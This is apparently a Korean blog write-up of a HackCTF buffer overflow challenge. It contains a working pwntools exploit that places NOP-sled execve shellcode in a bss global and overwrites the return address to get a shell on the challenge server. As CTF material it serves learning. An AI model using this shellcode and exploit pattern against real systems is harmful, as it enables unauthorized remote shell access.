입력을 두 번 받는 것 빼고는 간단한 BOF 문제이다. name이라는 변수가 어디에 저장되어 있는지를 찾고 여기에 NOP + shellcode 를 삽입, RET을 &name으로 바꾸어주면 쉘이 따질 것이다.
name 변수는 bss 영역에 존재한다. 전역변수 중에서 초기화된 변수는 data 영역에, 초기화되지 않은 변수는 bss영역에 들어간다고 한다.
&name → 0x0804a060
payload를 작성하고 exploit 코드를 짜자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3003)
r.recvuntil(": ")
name = "\x90"*20
name += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
r.send(name)
r.recvuntil(": ")
payload = "\x90"*24
payload += "\x60\xa0\x04\x08"
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
BOF_PIE (0) | 2020.08.28 |
---|---|
Offset (0) | 2020.08.28 |
Basic_FSB (0) | 2020.08.28 |
Basic_BOF #2 (0) | 2020.08.28 |
Basic_BOF #1 (0) | 2020.08.28 |